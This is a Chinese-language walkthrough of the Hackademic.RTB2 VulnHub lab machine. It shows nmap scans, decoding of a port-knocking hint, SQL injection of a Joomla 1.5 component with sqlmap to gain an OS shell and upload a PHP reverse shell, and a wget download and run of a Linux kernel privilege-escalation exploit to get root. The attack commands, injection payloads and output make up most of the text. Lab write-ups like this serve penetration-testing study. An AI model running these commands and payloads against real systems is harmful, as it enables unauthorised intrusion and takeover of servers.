|   /icons/: Potentially interesting folder w/ directory listing
|_  /index/: Potentially interesting folder
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.2.14: 
|       CVE-2010-0425   10.0    https://vulners.com/cve/CVE-2010-0425
|       CVE-2011-3192   7.8     https://vulners.com/cve/CVE-2011-3192
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5     https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5     https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5     https://vulners.com/cve/CVE-2017-3167
|       CVE-2013-2249   7.5     https://vulners.com/cve/CVE-2013-2249
|       CVE-2012-0883   6.9     https://vulners.com/cve/CVE-2012-0883
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2013-1862   5.1     https://vulners.com/cve/CVE-2013-1862
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098
|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438
|       CVE-2012-4557   5.0     https://vulners.com/cve/CVE-2012-4557
|       CVE-2011-3368   5.0     https://vulners.com/cve/CVE-2011-3368
|       CVE-2010-2068   5.0     https://vulners.com/cve/CVE-2010-2068
|       CVE-2010-1452   5.0     https://vulners.com/cve/CVE-2010-1452
|       CVE-2010-0408   5.0     https://vulners.com/cve/CVE-2010-0408
|       CVE-2012-0031   4.6     https://vulners.com/cve/CVE-2012-0031
|       CVE-2011-3607   4.4     https://vulners.com/cve/CVE-2011-3607
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2013-1896   4.3     https://vulners.com/cve/CVE-2013-1896
|       CVE-2012-4558   4.3     https://vulners.com/cve/CVE-2012-4558
|       CVE-2012-3499   4.3     https://vulners.com/cve/CVE-2012-3499
|       CVE-2012-0053   4.3     https://vulners.com/cve/CVE-2012-0053
|       CVE-2011-4317   4.3     https://vulners.com/cve/CVE-2011-4317
|       CVE-2011-3639   4.3     https://vulners.com/cve/CVE-2011-3639
|       CVE-2011-3348   4.3     https://vulners.com/cve/CVE-2011-3348
|       CVE-2011-0419   4.3     https://vulners.com/cve/CVE-2011-0419
|       CVE-2010-0434   4.3     https://vulners.com/cve/CVE-2010-0434
|       CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
|       CVE-2012-2687   2.6     https://vulners.com/cve/CVE-2012-2687
|_      CVE-2011-4415   1.2     https://vulners.com/cve/CVE-2011-4415
666/tcp filtered doom
```

经过尝试发现80端口没有什么好东西，666端口被过滤,源代码中没有任何内容，可疑标头，登录中没有sql注入。 我在目标上运行了OpenVAS，Dirbuster和Nikto，但是除了Phpmyadmin界面外，什么都没有发现，无论执行什么操作，该界面始终使我“无法连接到MySQL服务器”错误。 我以为Web服务器可能是一个错误的前端，而这可能是机器上隐藏的其他东西，所以接下来我运行了UDP扫描，它显示了一个附加端口：

``` bash
root@kali:~# nmap -sU -F -n -T4 -v 192.168.84.142
5353/udp  open          zeroconf
```

在http://192.168.84.143/登陆页面输入' or 1=1--'  ///  ' or 1=1--'发现返回了一个页面其中有Ok, nice shot...
...but, you are looking in a wrong place bro! ;-),直接右键查看源代码，发现异常字符串

``` bash
%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39%20%30%64%20%30%61%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%30%64%20%30%61%20%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%0A
```

先url解码

``` bash
3c 2d 2d 2d 2d 2d 2d 2d 2d 2d 3e 0d 0a 4b 6e 6f 63 6b 20 4b 6e 6f 63 6b 20 4b 6e 6f 63 6b 69 6e 27 20 6f 6e 20 68 65 61 76 65 6e 27 73 20 64 6f 6f 72 20 2e 2e 20 3a 29 0d 0a 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 0d 0a 3c 2d 2d 2d 2d 2d 2d 2d 2d 2d 3e
```

再hex解码

``` bash
< - - - - - - - - - > 
 
 K n o c k   K n o c k   K n o c k i n '   o n   h e a v e n ' s   d o o r   . .   : ) 
 
 0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1   0 0 1 1 1 0 1 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1   0 0 1 1 1 0 1 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 1   0 0 1 1 1 0 1 0   0 0 1 1 0 0 0 1   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 0   0 0 1 1 0 0 0 1 
 
 < - - - - - - - - - >
```

再二进制解码,[SNEAK: Snarkles.Net Encryption Assortment Kit - Version 1.28](http://www.snarkles.net/scripts/sneak/sneak.php),得到

``` bash
1001:1101:1011:1001
```

看来是做了端口碰撞措施，端口碰撞的主要目的是通过进行端口扫描来防止攻击者扫描系统以寻找可能被利用的服务，因为除非攻击者发送正确的碰撞顺序，否则受保护的端口将显得关闭。编写下列bash脚本打开666端口

``` bash
#!/bin/bash
for i in 1001 1101 1011 1001
do
nc 192.168.84.143 80 $i
done
```

运行脚本，稍等片刻端口即可打开


``` bash
root@kali:~# ./knock.sh
```

进一步的版本扫描表明这是多播DNS协议。找不到任何可利用的东西。再次使用详细标志和--packet-trace选项运行Nmap，这一次它返回了一个新端口：

``` bash
nmap -A -v -sS -Pn -T4 --packet-trace 192.168.84.142

NSE: TCP 192.168.84.135:52112 > 192.168.84.142:666 | CLOSE
NSOCK INFO [20.7300s] nsock_iod_delete(): nsock_iod_delete (IOD #70)
NSE: TCP 192.168.84.135:41738 > 192.168.84.142:80 | CLOSE
NSOCK INFO [20.7300s] nsock_iod_delete(): nsock_iod_delete (IOD #71)
Completed NSE at 02:17, 0.10s elapsed
Initiating NSE at 02:17
Completed NSE at 02:17, 0.00s elapsed
Nmap scan report for 192.168.84.142
Host is up (0.00049s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open  http    Apache httpd 2.2.14 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Hackademic.RTB2
666/tcp open  http    Apache httpd 2.2.14 ((Ubuntu))
|_http-generator: Joomla! 1.5 - Open Source Content Management
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 14 disallowed entries 
| /administrator/ /cache/ /components/ /images/ 
| /includes/ /installation/ /language/ /libraries/ /media/ 
|_/modules/ /plugins/ /templates/ /tmp/ /xmlrpc/
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Hackademic.RTB2
```

一定是以前报告为已过滤的端口。 版本扫描显示这实际上是另一台Web服务器！nmap牛逼！！！firefox访问666端口

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub45.jpg)

可以看到是joomla 1.5 templates版本的。

#### 使用自己的方法getshell

点击下图所示的位置，burp抓包保存为sqlmap.txt，然后sqlmap -r跑此包,发现是dba权限的注入能--os-shell，多年前的老靶机果真是够垃圾，我主要是用来学习各种漏洞知识点，以便于实战碰到的话，能够迅速联想到是什么漏洞并且成功利用。

``` bash
root@kali:~# sqlmap -r sqlmap.txt --is-dba
        ___
       __H__                                                                                           
 ___ ___[']_____ ___ ___  {1.3.12#stable}                                                              
|_ -| . [)]     | .'| . |                                                                              
|___|_  ["]_|_|_|__,|  _|                                                                              
      |_|V...       |_|   http://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:21:49 /2019-12-12/

[03:21:49] [INFO] parsing HTTP request from 'sqlmap.txt'
[03:21:49] [INFO] resuming back-end DBMS 'mysql' 
[03:21:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: letter (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 4640 FROM(SELECT COUNT(*),CONCAT(0x7170786b71,(SELECT (ELT(4640=4640,1))),0x716b787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uVyL&Itemid=3

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 1182 FROM (SELECT(SLEEP(5)))sLUv)-- PIge&Itemid=3

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: option=com_abc&view=abc&letter=List of content items...' UNION ALL SELECT NULL,CONCAT(0x7170786b71,0x5248524f517a4a6d7669416152587a486a48704b4a45444c534d74786659424f614f7147534d7965,0x716b787871)#&Itemid=3
---
[03:21:49] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[03:21:49] [INFO] testing if current user is DBA
[03:21:49] [INFO] fetching current user
current user is DBA: True
[03:21:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.142'

[*] ending @ 03:21:49 /2019-12-12/


root@kali:~# sqlmap -r sqlmap.txt --os-shell
        ___
       __H__                                                                                           
 ___ ___[(]_____ ___ ___  {1.3.12#stable}                                                              
|_ -| . ["]     | .'| . |                                                                              
|___|_  [(]_|_|_|__,|  _|                                                                              
      |_|V...       |_|   http://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:45:59 /2019-12-12/

[03:45:59] [INFO] parsing HTTP request from 'sqlmap.txt'
[03:45:59] [INFO] resuming back-end DBMS 'mysql' 
[03:45:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: letter (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 4640 FROM(SELECT COUNT(*),CONCAT(0x7170786b71,(SELECT (ELT(4640=4640,1))),0x716b787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uVyL&Itemid=3

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: option=com_abc&view=abc&letter=List of content items...' AND (SELECT 1182 FROM (SELECT(SLEEP(5)))sLUv)-- PIge&Itemid=3

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: option=com_abc&view=abc&letter=List of content items...' UNION ALL SELECT NULL,CONCAT(0x7170786b71,0x5248524f517a4a6d7669416152587a486a48704b4a45444c534d74786659424f614f7147534d7965,0x716b787871)#&Itemid=3
---
[03:46:00] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[03:46:00] [INFO] going to use a web backdoor for command prompt
[03:46:00] [INFO] fingerprinting the back-end DBMS operating system
[03:46:00] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
[03:46:02] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
[03:46:05] [INFO] retrieved web server absolute paths: '/index~.php'
[03:46:05] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[03:46:05] [WARNING] reflective value(s) found and filtering out
[03:46:05] [WARNING] unable to upload the file stager on '/var/www/'
[03:46:05] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[03:46:05] [WARNING] expect junk characters inside the file as a leftover from UNION query
[03:46:05] [INFO] the remote file '/var/www/tmpussxf.php' is larger (701 B) than the local file '/tmp/sqlmap2xlaxhqs4350/tmpgmt8uc8y' (700B)                                                                  
[03:46:05] [INFO] the file stager has been successfully uploaded on '/var/www/' - http://192.168.84.142:666/tmpussxf.php
[03:46:05] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://192.168.84.142:666/tmpbmblb.php
[03:46:05] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
CHANGELOG.php
COPYRIGHT.php
CREDITS.php
INSTALL.php
LICENSE.php
LICENSES.php
Untitledt.png
_installation
administrator
cache
components
configuration.php
configuration.php-dist
htaccess.txt
images
includes
index.php
index2.php
language
libraries
logs
media
modules
pC4Hp8kt@Px8PgkV$!
plugins
robots.txt
templates
tmp
tmpbmblb.php
tmpugano.php
tmpupcaf.php
tmpussxf.php
tmpuxtor.php
welcome
xmlrpc
xxx.html
---
os-shell> 
```

下面使用--os-shell执行成功后sqlmap生成的上传payload上传kali中的php反弹木马来反弹shell,php反弹木马中修改端口和ip的操作不用我多说

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub46.jpg)

ls查看成功上传的木马，并且浏览器访问，kali端 nc -lvp 5566 监听返回了shell

``` bash
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] command standard output:
---
15285
15285.c
CHANGELOG.php
COPYRIGHT.php
CREDITS.php
INSTALL.php
LICENSE.php
LICENSES.php
Untitledt.png
_installation
administrator
bullfuck.php
cache
components
configuration.php
configuration.php-dist
htaccess.txt
images
includes
index.php
index2.php
language
libraries
logs
media
modules
pC4Hp8kt@Px8PgkV$!
php-reverse-shell.php
plugins
robots.txt
templates
tmp
tmpbmblb.php
tmpugano.php
tmpupcaf.php
tmpussxf.php
tmpuxtor.php
welcome
xmlrpc
xxx.html
---
os-shell> 
```

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.84.142: inverse host lookup failed: Unknown host
connect to [192.168.84.135] from (UNKNOWN) [192.168.84.142] 42982
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux
 11:18:34 up  7:36,  0 users,  load average: 0.15, 0.11, 0.30
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ pwd
pwd
/var/www
```

#### 提权

Hackademic-RTB2靶机所用的提权exp和Hackademic-RTB1靶机所用的一模一样，[下载地址：](http://www.exploit-db.com/exploits/15285/)

然后在kali中存在exp的目录下运行python一行代码在局域网中分享下载文件。

``` bash
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```
然后在shell中执行命令下载该exp

``` bash
$ wget http://192.168.84.135:8000/15285.c
wget http://192.168.84.135:8000/15285.c
--2019-12-13 05:38:57--  http://192.168.84.135:8000/15285.c
Connecting to 192.168.84.135:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7155 (7.0K) [text/plain]
Saving to: `15285.c'

100%[======================================>] 7,155       --.-K/s   in 0s      

2019-12-13 05:38:57 (893 MB/s) - `15285.c' saved [7155/7155]
```

编译并运行exp进行提权

``` bash
$ gcc 15285.c -o 15285
gcc 15285.c -o 15285
$ ./15285
./15285
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc08cac4c
 [+] Resolved default_security_ops to 0xc0773340
 [+] Resolved cap_ptrace_traceme to 0xc02f5060
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
# whoami 
whoami
root
# id
id
uid=0(root) gid=0(root)
```

That's so great!!!Excellent!!!然后到root文件夹下找到key.txt

``` bash
# cd /root
cd /root
# ls
ls
Desktop  Key.txt
# cat Key.txt
cat Key.txt
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
